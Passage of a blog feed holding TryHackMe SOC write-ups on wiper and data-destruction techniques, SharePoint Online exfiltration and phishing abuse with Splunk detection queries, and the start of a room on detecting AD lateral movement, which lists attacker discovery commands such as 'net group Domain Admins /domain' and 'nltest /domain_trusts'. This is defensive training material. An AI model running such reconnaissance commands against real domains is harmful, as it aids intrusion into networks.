<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4e80c62f-9177-4bf2-a900-641028697627.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<h2>Data Destruction</h2>
<p>Not all attacks are motivated by data theft or ransom payments. Sometimes the attacker's sole intention is to cause maximum damage to systems and operations.</p>
<h2><strong>Data Destruction</strong></h2>
<p>The process of destroying data and files on specific systems is called Data Destruction and corresponds to the Impact Tactic in MITRE with ID T1485. We'll explore several common methods that threat actors are actively using in the wild.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770626354478.svg" alt="Data Destruction Overview" style="display:block;margin:0 auto" />

<p>Such activity is usually performed using malware. Typically, XDR systems in enterprise environments should detect and prevent these attacks. In this task, we will explore the most prominent cases from recent years connected to each technique.</p>
<p><strong>Boot-Level Destruction</strong></p>
<p>Attackers overwrite the Master Boot Record or Boot Sectors to prevent the system from starting. This technique targets the first sectors of the disk where boot instructions are stored, rendering the machine unbootable even though data may still physically exist on the drive. I recommend paying attention to the <a href="https://tryhackme.com:8443/room/mbrandgptanalysis">MBR and GPT Analysis</a> room for a better understanding of analyzing the attacker's activity.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770629601110.svg" alt="Boot-Level Destruction" style="display:block;margin:0 auto" />

<p><strong>File System-Level Destruction</strong></p>
<p>Attackers corrupt or delete file system metadata structures such as Partition tables, Master File Tables, or inode tables. This makes it impossible for the operating system to locate or access files, even though the actual data content remains physically intact on the disk.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770806128307.svg" alt="File System-Level Destruction" style="display:block;margin:0 auto" />

<p><strong>File Overwriting</strong></p>
<p>Attackers systematically traverse directories and overwrite file contents with random data or zeros, making data recovery impossible. Unlike encryption, this technique permanently destroys the actual data, not just the keys to access it, ensuring files cannot be restored through any forensic methods.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770629481277.svg" alt="File Overwriting" style="display:block;margin:0 auto" />

<p><strong>Firmware-Level Destruction</strong></p>
<p>Attackers target firmwares, network devices, or storage controllers to render hardware unusable. This low-level attack corrupts the firmware below the operating system layer, often requiring hardware replacement or specialized re-flashing procedures that go beyond standard system recovery.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770807364194.svg" alt="Firmware-Level Destruction" style="display:block;margin:0 auto" />

<p>This task was focused more on researching and sharing examples of popular companies affected by wipers rather than the detection side, as identifying a wiper immediately in logs is nearly impossible. Advancing into reverse engineering to understand malware behavior is not the topic of this room, so we skipped it here. Additional research tasks are waiting for you in the questions!</p>
<h3>Answer the questions below</h3>
<p>What is the MITRE ATT&amp;CK ID for the Data Destruction technique under the Impact tactic?</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/91fac049-e1b1-42bb-8962-ffadcf1d0571.png" alt="" style="display:block;margin:0 auto" />

<p>What service did HermeticWiper use for CDN payload delivery? <code>Discord</code></p>
<p>What protocol did Apostle Wiper use for tunneling? <code>RDP</code></p>
<h2>Conclusion</h2>
<p>Great job completing this room! You've now gained a solid understanding of Active Directory post-exploitation tactics and how threat actors pursue their final objectives after domain compromise.</p>
<ul>
<li><p>Investigated AD post-exploitation techniques and long-term persistence methods used by attackers.</p>
</li>
<li><p>Analyzed ransomware deployment strategies and lateral movement across enterprise networks.</p>
</li>
<li><p>Understood how wiper malware and data destruction techniques are executed and detected.</p>
</li>
</ul>
<p>More exciting challenges await you next!</p>
<h2>Key Takeaways</h2>
<ul>
<li><p><strong>Pre-encryption detection is your last line of defence</strong> — shadow copy deletion, disabling Windows Recovery, and log clearing are all high-fidelity signals that ransomware deployment is imminent</p>
</li>
<li><p><strong>AD persistence often starts quietly</strong> — a new domain account or group membership change in logs is easy to miss but critical to catch early</p>
</li>
<li><p><strong>Ransomware distribution methods are varied</strong> — GPO abuse, WMIC remote execution, and scheduled tasks each leave distinct log signatures worth knowing by heart</p>
</li>
<li><p><strong>Data destruction differs from ransomware</strong> — wipers permanently overwrite or corrupt data with no decryption path; the detection window is extremely narrow and often requires behavioral/XDR tooling rather than log analysis alone</p>
</li>
<li><p><strong>SIEM ingestion protects your visibility</strong> — even if an attacker clears local event logs, logs already forwarded to Splunk remain available for investigation</p>
</li>
</ul>
<p>Understanding post-exploitation from the defender's side makes it much easier to reason about attacker intent during an incident — every action in this phase is purposeful and time-pressured, which is exactly what makes the pre-encryption window so important to catch.</p>
]]></content:encoded></item><item><title><![CDATA[SharePoint Online Monitoring (TryHackMe)]]></title><description><![CDATA[Introduction
SharePoint Online is one of the most targeted M365 services, as it often stores sensitive files and can be used to propagate the attack. This room will explore the most common attack scen]]></description><link>https://www.sharonjebitok.com/sharepoint-online-monitoring-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/sharepoint-online-monitoring-tryhackme</guid><category><![CDATA[SharePoint Online]]></category><category><![CDATA[sharepoint-online-monitoring]]></category><category><![CDATA[detection]]></category><category><![CDATA[SOC]]></category><category><![CDATA[Splunk]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Fri, 20 Mar 2026 12:42:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/8576755b-9dfe-4611-98da-39ebbb94dfe5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>SharePoint Online is one of the most targeted M365 services, as it often stores sensitive files and can be used to propagate the attack. This room will explore the most common attack scenarios on SharePoint Online and explain how to monitor for them as a SOC team.</p>
<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>Learn Entra ID and SharePoint audit log formats</p>
</li>
<li><p>Explore how attackers exfiltrate data from SharePoint</p>
</li>
<li><p>Discover how SharePoint can become an attack tool</p>
</li>
<li><p>Practice the learned topics through an attack scenario</p>
</li>
</ul>
<h2><strong>Prerequisites</strong></h2>
<ul>
<li><p><a href="https://tryhackme.com/room/m365monitoringbasics">M365 Monitoring Basics</a></p>
</li>
<li><p><a href="https://tryhackme.com/room/entraidmonitoring">Entra ID Monitoring</a></p>
</li>
</ul>
<h2>SharePoint Overview</h2>
<h2><strong>SharePoint Overview</strong></h2>
<p>SharePoint Online is a service within the Microsoft 365 suite that lets you store, organize, share, and access corporate information through a web browser. It is widely used by organizations that use the Microsoft stack to keep team documentation and collaborate on documents, spreadsheets, and presentations. It is basically a business version of Google Drive and Microsoft OneDrive:</p>
<ul>
<li><p><strong>Google Drive</strong>: A cloud service to store and collaborate on files through the web</p>
</li>
<li><p><strong>Microsoft OneDrive</strong>: Microsoft's analogue of Google Drive, built for personal files</p>
</li>
<li><p><strong>Microsoft SharePoint</strong>: A more powerful version of OneDrive for corporate use</p>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1769701392664.png" alt="SharePoint document library for &quot;TryHackMe Sales&quot; site showing a list of documents including a &quot;Reports-2025&quot; folder and a &quot;Contract Template.docx&quot; Word file, with options to filter, add, and manage documents in the toolbar." style="display:block;margin:0 auto" />

<p>For future reference, SharePoint organizes data into top-level containers called <strong>sites</strong>, where each site is tied to an email group (e.g. <strong><a href="mailto:sales@tryhackme.thm">sales@tryhackme.thm</a></strong>) and contains files, folders, or web pages. Also, note that there is an on-premises version of SharePoint. It is rarely used and relies on Active Directory authentication. This room will only explain SharePoint Online, a cloud-based service.</p>
<h2><strong>SharePoint and M365</strong></h2>
<p>SharePoint is deeply integrated into the Microsoft 365 suite. For example, authentication to SharePoint is performed via an Entra ID login, so if an adversary breaches a corporate Microsoft account with the right permissions, they automatically get access to all the SharePoint files the victim has access to. Fortunately, you can always audit SharePoint logins in the Entra ID console:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1769701392633.png" alt="Entra ID sign-in logs showing filtered results for SharePoint application activity. The table displays user sign-in attempts by Emily Turner with dates, request IDs, application names, status (Success/Interrupted), and IP addresses." style="display:block;margin:0 auto" />

<h2><strong>SharePoint Risks</strong></h2>
<ul>
<li><p>IT sites may contain network diagrams, application source code, or even keys</p>
</li>
<li><p>Finance sites may contain internal reports and confidential documents</p>
</li>
<li><p>Sales sites typically contain big spreadsheets of partners and customers</p>
</li>
<li><p>In short, SharePoint is one of the most important M365 services to monitor</p>
</li>
</ul>
<h3>Answer the questions below</h3>
<p>Which of the mentioned Microsoft services is like SharePoint, but for personal use? <code>OneDrive</code></p>
<p>How do you call the SharePoint top-level container that holds objects, such as files? <code>Site</code></p>
<h2>SharePoint Logging</h2>
<h2><strong>SharePoint Sign-In Logs</strong></h2>
<p>Same as with other M365 services, you need to combine Entra ID and M365 logs to monitor SharePoint properly. Entra ID sign-in logs show authentication attempts to SharePoint, and M365 unified audit logs show file operations: access, modification, and sharing. Let's start with the sign-in logs. Below is a chain of sign-in events you will see during a legitimate SharePoint access of Emily Turner:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1769724114560.png" alt="Splunk search results showing Entra ID sign-in logs with 18 events. The table displays timestamps, user principal names for Emily Turner, application names including Office 365 and SharePoint Online, IP addresses, browser details showing Edge, and status error codes." style="display:block;margin:0 auto" />

<p>The first two events from the image indicate that Emily logged in to the M365 home portal (<a href="http://m365.cloud.microsoft"><strong>m365.cloud.microsoft</strong></a>). From there, she accessed the corporate SharePoint portal. The last event, login to Office365 Shell WCSS-Client, occurs automatically whenever a user navigates in M365 apps. If you want to monitor SharePoint logins, focus on sign-in events <strong>#3</strong> and <strong>#4</strong>. Also, please remember that logins from IPv6 can still be malicious. Never assume that IPv6 equals False Positive!</p>
<h2><strong>SharePoint File Operations</strong></h2>
<p>After signing in, Emily will interact with the site. You would see all her activities in M365 audit logs, with the <strong>Workload</strong> field always set to <strong>SharePoint</strong>. Let's see the simplest example, access to the Contract Templates document through SharePoint:</p>
<pre><code class="language-js">{
  "CreationTime": "2026-01-29T15:08:32",
  "OrganizationId": "755c8cb5-4ddf-4c5e-[...]", // MS365 tenant ID
  "Operation": "FileAccessed",                  // Event name (action)
  "Workload": "SharePoint",                     // Target service
  "UserId": "emily.turner@tryhackme.thm",       // Source user email
  "AuthenticationType": "OAuth",
  "Site": "66c03890-ed18-42b3-[...]",           // SharePoint site ID
  "UserAgent": "MSWAC",                         // Internal SharePoint user-agent
  "ClientIP": "20.54.165.63",                   // IP of M365 server, not Emily's!
  "DeviceDisplayName": "20.54.165.63",          // Again, this is not Emily's IP!
  "SourceRelativeUrl": "Shared Documents",      // Folder of the file
  "SourceFileName": "Contract Template.docx",   // Accessed file name
  "SourceFileExtension": "docx",
  "ApplicationDisplayName": "WebWord",
  "SiteUrl": "https://tryhackme.sharepoint.com/sites/thm-sales/",
  "ObjectId": "https://tryhackme.sharepoint.com/sites/thm-sales/Shared Documents/Contract Template.docx"
}
</code></pre>
<p>The event below follows a similar M365 log structure, where Workload, Operation, and UserId fields are always present, and other fields depend on the event. Note that you shouldn't blindly trust IPs and user agents in the logs, as they often refer to SharePoint servers rather than the actual clients. Overall, you should focus on the file operations below (<a href="https://learn.microsoft.com/en-us/purview/audit-log-activities#file-and-page-activities">Documentation(opens in new tab)</a>):</p>
<ul>
<li><p><code>FileCreated</code>/<code>FileUploaded</code>: Useful to track suspicious file uploads</p>
</li>
<li><p><code>FileDeleted</code>/<code>FileRecycled</code>: Essential for audit and compliance purposes</p>
</li>
<li><p><code>FileAccessed</code>/<code>FileDownloaded</code>: Helpful for many types of cyber incidents</p>
</li>
</ul>
<h2><strong>File Sharing in SharePoint</strong></h2>
<p>Another important monitoring aspect is file sharing. Microsoft reports both when sharing settings were changed and whenever a sharing link was used. That's great since file sharing can be abused in various scenarios that you will learn in the next tasks. Let's assume Emily shared a sensitive file with an external, untrusted email. You can start the hunt as:</p>
<table>
<thead>
<tr>
<th><strong>List SharePoint sharing events (Splunk)</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=* Workload=SharePoint Operation IN(AddedToSecureLink, AnonymousLinkCreated)
</code></pre>
<p>If there is a match, you will see which file was shared (<strong>ObjectId</strong>) and with whom (<strong>TargetUserOrGroupName</strong>). Note that it's only valid for external sharing. For internal sharing, better hunt for the <strong>SharingSet</strong> events and refer to the <a href="https://learn.microsoft.com/en-us/purview/audit-log-sharing#sharing-auditing-work-flow">documentation(opens in new tab)</a> for technical details. Next, you might want to check if the target user has already accessed the link, or if you have time to revoke the sharing before it's too late:</p>
<table>
<thead>
<tr>
<th><strong>List SharePoint sharing events (Splunk)</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=* Workload=SharePoint Operation IN(SecureLinkUsed, AnonymousLinkUsed)
</code></pre>
<p>In Splunk, you can analyze both events in a single timeline. Below is an example showing how Emily shared a sensitive file with an external user (<strong>AddedToSecureLink</strong>), and how the user accessed the file a minute later (<strong>SecureLinkUsed</strong>). In most cases, these events are also followed by a <strong>FileAccessed</strong> event.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1769732892984.png" alt="Splunk search results showing M365 SharePoint operations with 2 events. The table displays timestamps, operations (AddedToSecureLink and SecureLinkUsed), user IDs for Emily Turner and a guest user from &quot;ShadyCorp&quot;, and object IDs containing SharePoint URLs for shared Excel documents." style="display:block;margin:0 auto" />

<p><strong>Practice</strong><br />For this task, open the <a href="https://lab_web_url.p.thmlabs.com/">Splunk console(opens in new tab)</a> in your web browser.<br />You will need both data sources from the <code>index=practice</code> query.<br />Search for <strong>All Time</strong> and investigate the activity of Emily Turner.</p>
<h3>Answer the questions below</h3>
<p>Refer to the Entra ID sign-in logs (<strong>azure:aad:signin</strong>).<br />What is the event ID that confirms Emily's login to SharePoint?</p>
<pre><code class="language-shell">index=practice user="emily.turner@tryhackme.thm" action=success login
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/61db4ceb-9922-4b9a-87e8-fe31768993df.png" alt="" style="display:block;margin:0 auto" />

<p>Move on to the SharePoint logs (<strong>o365:management:activity</strong>).<br />What PDF file did Emily upload to the SharePoint?</p>
<pre><code class="language-shell">index=practice pdf user="emily.turner@tryhackme.thm"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3f9f4b72-071f-4a75-89ca-bd542b37b6ff.png" alt="" style="display:block;margin:0 auto" />

<p>Soon after, Emily shared the PDF with an external user.<br />What is the email of the target user?</p>
<pre><code class="language-shell">index=practice instructions.pdf action=shared
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/67afd1da-fdae-45f7-80ee-8653c1154b3e.png" alt="" style="display:block;margin:0 auto" />

<h2>Detecting Data Exfiltration</h2>
<h2><strong>SharePoint Data Access</strong></h2>
<p>SharePoint is one of the primary targets for threat actors. After an account is compromised, the adversary may explore the contents of their SharePoint and exfiltrate files of interest, such as contracts, reports, internal wiki pages, or source code. Depending on the type and size of data, the adversary may:</p>
<ul>
<li><p>Open the file in the browser and read it without downloading. Generates the <strong>FileAccessed</strong> event for every file.</p>
</li>
<li><p>Download the needed file or folder. Generates a <strong>FileDownloaded</strong> or similar event for every downloaded file.</p>
</li>
<li><p>Share the file with anyone and access it anonymously via a link. Still generates share events and <strong>FileAccessed</strong>.</p>
</li>
</ul>
<h2><strong>Data Exfiltration via GUI</strong></h2>
<p>The simplest way to view SharePoint data is through the M365 portal. Like legitimate users, attackers can browse folders, open files, and download sensitive data. Unfortunately, if attackers act cautiously, their activity is hard to distinguish from normal SharePoint usage. Still, you can alert on a spike in <strong>FileDownloaded</strong> events, since downloading a folder generates one event per file inside. The search below shows how a single <strong>Reports-2025</strong> folder download resulted in five events:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1770117223197.png" alt="Splunk search results showing M365 SharePoint file download statistics with 5 events. The table displays site URL, source relative URL for a shared documents folder, user ID for Emily Turner, download count of 5, and a list of downloaded files including Word documents, Excel, and PowerPoint files." style="display:block;margin:0 auto" />

<h2><strong>Data Exfiltration via App</strong></h2>
<p>The M365 portal does not allow full site export and does not support advanced search. Therefore, if attackers want to dump gigabytes of data, they must resort to external tools. Examples include the OneDrive app, the Rclone CLI utility, and many more paid solutions that allow you to sync SharePoint content with your local PC or another cloud location. For Rclone, the data export will look like this:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1770117223189.svg" alt="Rclone configuration workflow showing terminal commands for SharePoint setup alongside Microsoft OAuth permissions dialog requesting file access for the rclone application." style="display:block;margin:0 auto" />

<p>Regular users rarely use external applications to interact with SharePoint, especially CLI tools like Rclone. Thus, you can start by alerting on new applications on a per-user basis. To do this, focus on the <strong>ApplicationDisplayName</strong> and <strong>UserAgent</strong> fields, which are present in all file-related records. Below are the logs generated when running the Rclone commands shown in the illustration above:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1770667983008.png" alt="Splunk search results showing rclone file download operations with 6 events. The table displays timestamps, user ID for Emily Turner, FileDownloaded operations, application name (rclone), application ID, and user agent information." style="display:block;margin:0 auto" />

<table>
<thead>
<tr>
<th><strong>List Rclone downloads (Splunk)</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=* rclone Operation=FileDownloaded
| table _time UserId Operation ApplicationDisplayName ApplicationId UserAgent
</code></pre>
<h3>Answer the questions below</h3>
<p>Which M365 event is generated every time the file is downloaded? <code>FileDownloaded</code></p>
<p>Which M365 field can you use to identify the application behind the event? <code>ApplicationDisplayName</code></p>
<h2>Detecting SharePoint Abuse</h2>
<h2><strong>SharePoint as an Attack Tool</strong></h2>
<p>Imagine you are an attacker who has compromised the account of a B2B Sales Lead. You discover a CSV file containing hundreds of partner email addresses, including contacts from large, well-known companies. How can this be abused? You could launch a phishing campaign on all addresses while impersonating the Sales Lead. And to bypass anti-phishing controls, you can send the emails via SharePoint!</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1769735878421.png" alt="Outlook email showing Emily Turner sharing a document titled &quot;contract-updates&quot; with Mark Spencer. The email displays an invitation to view a file with a document preview icon at the bottom of the message." style="display:block;margin:0 auto" />

<p>Whenever you share a file via SharePoint, the recipient receives a notification email sent from your account. An attacker can abuse this by creating a document inside the compromised SharePoint (often a <strong>OneNote</strong> file), embedding malicious instructions or links, and sharing it with targeted victims. Because both email servers and users usually trust these notifications, SharePoint becomes a tool for distributing malware or phishing. The screenshot above is a classic example of this attack.</p>
<h2>Detecting SharePoint Abuse</h2>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/37c669d8-471a-4b3e-a068-780932ad6a37.png" alt="" style="display:block;margin:0 auto" />

<p>If you fail to notify all sharing recipients in time, your company may start a supply chain attack. For example, if an IT firm in Europe is breached, attackers may share malware with its retail clients in the USA. If lateral movement succeeds, the same attack can then spread from the retailer to its supplier, a larger manufacturer in Asia. It is essential to secure not only yourself, but also all partners and clients your company could affect.</p>
<h2><strong>Advanced SharePoint Abuse</strong></h2>
<p>Note that M365 logging can be confusing at times, and attackers are often very creative. For example, instead of creating a new file, they may backdoor an existing one (which results in a <strong>FileModified</strong> event). They can also lure other users into creating and sharing malware, which will mess up the logs. This is why, during an incident, you should review all activities in a chronological timeline instead of simply searching for specific events or indicators.</p>
<h3>Answer the questions below</h3>
<p>Which file type is often abused to share phishing through SharePoint? <code>OneNote</code></p>
<p>Which event is generated when someone shares a file with an external user? <code>AddedToSecureLink</code></p>
<h2>Real-World Scenario</h2>
<p>The phone rings, it's the SOC manager:</p>
<p>"Hey, quick one: our CEO, Michael, wants us to look into a OneNote file that was just shared by Emma Lawson, our Head of Customer Relationships. The file seems suspicious, and he can't recall approving any pricing updates. Before your shift ends, could you take a look and make sure everything is clean? I'll forward you the screenshots Michael sent me; check your inbox:"</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1770131733921.png" alt="Split screen showing a phishing flow: Left side displays a file sharing invitation from Emma Lawson for a document about pricing updates. Right side shows the file content, a DocuSign-themed document called &quot;Important Updates Regarding Pricing&quot; requesting M365 login and contract review." style="display:block;margin:0 auto" />

<p><strong>Practice</strong><br />For this task, start with the <code>index=challenge</code> query and search for <strong>All Time</strong>.<br />You will need all the knowledge you have acquired to handle the incident!</p>
<h3>Answer the questions below</h3>
<p>When did Michael open the shared OneNote file?<br />Answer Example: 2026-02-01 12:30:45</p>
<pre><code class="language-shell">index=challenge user="michael.els@tryhackme.thm" shared
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/d53a6ba4-0a7a-454b-9235-754c99123818.png" alt="" style="display:block;margin:0 auto" />

<p>With which three external emails did Emma share the file, too?<br />Answer Format: Emails via comma, alphabetical order</p>
<pre><code class="language-shell">index=challenge user="emma.lawson@tryhackme.thm" action=shared
</code></pre>
<p>returned the internal emails, but we need the external ones, which it doesn't show with this query</p>
<pre><code class="language-shell">index=challenge AddedToSecureLink user="emma.lawson@tryhackme.thm"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7db06f27-fe3e-41e3-a395-e59ef81d0b04.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=challenge user="emma.lawson@tryhackme.thm" AddedToSecureLink 
| stats count by TargetUserOrGroupName 
| sort -count
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/46be0cd9-a632-4e33-bfa8-c57be9af2f4d.png" alt="" style="display:block;margin:0 auto" />

<p>One of the users from Question 2 already accessed the malicious file.<br />What <strong>CorrelationId</strong> value proves that the sharing link has been opened?</p>
<pre><code class="language-shell">index=challenge Operation IN(*LinkUsed, FileAccessed) ObjectId="https://tryhackme.sharepoint.com/sites/marketing/Shared Documents/Important Updates Regarding Pricing [B2B and B2E]" 
| stats values(UserId)
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/07f8d99f-f402-455a-844d-537623dbd3fa.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=challenge Operation IN(*LinkUsed, FileAccessed) ObjectId="https://tryhackme.sharepoint.com/sites/marketing/Shared Documents/Important Updates Regarding Pricing [B2B and B2E]"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/fae4d49d-d0bb-4829-ab79-c4b92780bd19.png" alt="" style="display:block;margin:0 auto" />

<p>Before sharing the malicious file, attackers reviewed Emma's SharePoint.<br />Which PowerPoint presentation file did they exfiltrate?  </p>
<p>Remember the file extension of powerpoint presentation file is <code>.pptx</code> so this helps us narrow down the search in the search query</p>
<pre><code class="language-shell">index=challenge pptx
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/81bedf57-62b1-4d15-8884-3a6d97668e1c.png" alt="" style="display:block;margin:0 auto" />

<p>According to Entra ID logs, from which city was the malicious login performed?</p>
<pre><code class="language-shell">index=challenge location
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/07ad0aa2-db26-45e2-b4b2-df05c0ec93d7.png" alt="" style="display:block;margin:0 auto" />

<h2>Conclusion</h2>
<p>Congratulations on completing the room! With this final knowledge piece on SharePoint monitoring, you are now equipped to onboard, monitor, and protect Entra ID and M365 environments against a wide range of emerging threats. We hope you enjoyed both this room and the entire module!</p>
]]></content:encoded></item><item><title><![CDATA[Detecting AD Lateral Movement (TryHackMe)]]></title><description><![CDATA[Introduction
In an AD environment, attackers who compromise a single account rarely stop there. They use built-in protocols like SMB and RDP to move from the initial foothold to servers that hold what]]></description><link>https://www.sharonjebitok.com/detecting-ad-lateral-movement-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/detecting-ad-lateral-movement-tryhackme</guid><category><![CDATA[detecting-ad-lateral-movement]]></category><category><![CDATA[Windows]]></category><category><![CDATA[Splunk]]></category><category><![CDATA[rdp]]></category><category><![CDATA[SMB]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Fri, 20 Mar 2026 12:09:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/114c992f-8e9b-4dff-9ac4-f54ee2fe0d65.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>In an AD environment, attackers who compromise a single account rarely stop there. They use built-in protocols like SMB and RDP to move from the initial foothold to servers that hold what they actually want, like domain controllers, file servers, and databases. The tricky part for defenders is that these are the same protocols administrators use every day.</p>
<p>This room covers three lateral movement techniques and the log artifacts they produce. We'll start by looking at normal traffic for each protocol, then investigate a simulated attack that uses SMB, PsExec, and RDP to move from a compromised workstation to the Domain Controller.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68d2c1e7ab94268f6271de1d/room-content/68d2c1e7ab94268f6271de1d-1773239754183.svg" alt="Lateral movement overview diagram showing the attacker's path from a compromised workstation through SMB, PsExec, and RDP to reach the Domain Controller" style="display:block;margin:0 auto" />

<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>Detect AD discovery commands through process creation and PowerShell Script Block logs</p>
</li>
<li><p>Identify SMB-based lateral movement through admin share access patterns</p>
</li>
<li><p>Identify PsExec usage through service installation artifacts, named pipe creation, and correlate source and destination events</p>
</li>
<li><p>Detect RDP-based lateral movement using Logon Type 10 and trace multi-hop chains through Logon ID correlation and process artifacts</p>
</li>
<li><p>Correlate artifacts across source and destination systems to trace an attacker's path</p>
</li>
</ul>
<h2><strong>Prerequisites</strong></h2>
<ul>
<li><p><strong>Active Directory monitoring</strong>: AD architecture, authentication protocols, Windows Event Log structure (<a href="https://tryhackme.com/room/monitoringactivedirectory">Monitoring Active Directory</a> room)</p>
</li>
<li><p><strong>Initial access detection</strong>: How attackers gain their first foothold (<a href="https://tryhackme.com/room/detectingadinitialaccess">Detecting AD Initial Access</a> room)</p>
</li>
<li><p><strong>Windows Event Logs</strong>: Event Viewer navigation, log channels, Event IDs (<a href="https://tryhackme.com/room/windowseventlogs">Windows Event Logs</a> room)</p>
</li>
<li><p><strong>Splunk basics</strong>: SPL queries, filtering, stats commands (<a href="https://tryhackme.com/room/splunkexploringspl">Splunk: Exploring SPL</a> room)</p>
</li>
</ul>
<h2>Discovery and Reconnaissance</h2>
<p>Although our main focus in this room is lateral movement, we need to start with <strong>discovery</strong>.</p>
<p>As shown in the image below, when attackers first gain access to a network, they don't know what's in it. They don't know which servers exist, which accounts have elevated privileges, or how the network is organized. So the first thing they do is run commands to map everything out. This helps them understand the environment they've compromised, identify valuable targets, and plan their next move.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68d2c1e7ab94268f6271de1d/room-content/68d2c1e7ab94268f6271de1d-1773349099102.svg" alt="Diagram showing why attackers run discovery commands: to map out domain accounts, groups, trusts, and systems before moving laterally" style="display:block;margin:0 auto" />

<p>In this task, we're focusing specifically on AD discovery, meaning commands that query Active Directory for information about domain accounts, groups, trusts, and networked systems. General host-level reconnaissance (like <strong>systeminfo</strong> or <strong>whoami</strong>) also happens during this phase, but AD discovery is what gives attackers the map they need to plan their lateral movement.</p>
<h3>What Discovery Looks Like</h3>
<p>Let's look at some Active Directory discovery commands commonly used in real-world attacks. The table below lists the commands you'll encounter most often:</p>
<p>Let's look at some Active Directory discovery commands commonly used in real-world attacks. The table below lists the commands you'll encounter most often:</p>
<table>
<thead>
<tr>
<th><strong>Category</strong></th>
<th><strong>Command</strong></th>
<th><strong>What It Reveals</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Domain/Trust</td>
<td>nltest /dclist:domain</td>
<td>Domain controllers in the environment</td>
</tr>
<tr>
<td>Domain/Trust</td>
<td>nltest /domain_trusts</td>
<td>Trusted domains the attacker could pivot to</td>
</tr>
<tr>
<td>Accounts/Groups</td>
<td>net user /domain</td>
<td>All domain user accounts</td>
</tr>
<tr>
<td>Accounts/Groups</td>
<td>net group "Domain Admins" /domain</td>
<td>Members of the Domain Admins group</td>
</tr>
<tr>
<td>Accounts/Groups</td>
<td>net group "Enterprise Admins" /domain</td>
<td>Members of the Enterprise Admins group</td>
</tr>
<tr>
<td>Accounts/Groups</td>
<td>net localgroup administrators</td>
<td>Local admin accounts on the current machine</td>
</tr>
<tr>
<td>Systems</td>
<td>net view</td>
<td>Machines visible on the network</td>
</tr>
<tr>
<td>Systems</td>
<td>net view \THM-SHR-SRV /all</td>
<td>Shares on a specific remote system</td>
</tr>
<tr>
<td>PowerShell</td>
<td>Get-ADUser -Filter *</td>
<td>AD user enumeration via PowerShell</td>
</tr>
<tr>
<td>PowerShell</td>
